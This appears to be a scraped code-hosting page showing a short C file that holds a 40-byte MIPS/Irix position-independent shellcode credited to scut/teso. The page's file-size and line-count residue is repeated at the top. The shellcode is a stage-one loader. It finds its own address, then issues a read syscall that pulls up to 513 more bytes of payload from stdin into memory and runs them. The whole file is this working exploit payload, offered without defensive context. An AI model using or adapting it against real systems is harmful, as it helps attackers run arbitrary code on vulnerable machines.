14 lines
No EOL
848 B
C
14 lines
No EOL
848 B
C
/* 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso
|
|
*/
|
|
unsigned long int shellcode[] = {
|
|
0x24048cb0, /* li $a0, -0x7350 */
|
|
/* dpatch: */ 0x0490ffff, /* bltzal $a0, dpatch */
|
|
0x2804ffff, /* slti $a0, $zero, -1 */
|
|
0x240fffe3, /* li $t7, -29 */
|
|
0x01e07827, /* nor $t7, $t7, $zero */
|
|
0x03ef2821, /* addu $a1, $ra, $t7 */
|
|
0x24060201, /* li $a2, 0x0201 (513 bytes) */
|
|
0x240203eb, /* li $v0, SYS_read */
|
|
0x0101010c, /* syscall */
|
|
0x24187350, /* li $t8, 0x7350 (nop) */
|
|
}; |